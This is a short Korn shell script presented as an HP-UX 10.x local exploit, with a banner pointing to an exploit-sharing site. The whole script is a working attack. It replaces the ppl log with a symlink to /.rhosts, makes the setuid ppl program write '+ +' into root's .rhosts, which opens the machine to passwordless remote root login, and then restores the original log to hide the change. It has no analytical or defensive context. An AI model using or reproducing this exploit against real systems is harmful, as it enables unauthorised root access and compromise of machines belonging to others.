#!/bin/ksh
#
# http://www.anticode.com  for the latest exploits, tools and documents!
#
# HP-UX 10.x /var/ppl/log /.rhosts exploit
#

VER=`uname -r | cut -f2 -d.`
if [ "${VER}" = "10" ]
then
	LOG=/var/ppl/log
else
	LOG=/usr/spool/ppl/log
fi

mv $LOG $LOG.old
ln -s /.rhosts $LOG
ppl -o '\
+ +
'
rm $LOG
mv $LOG.old $LOG
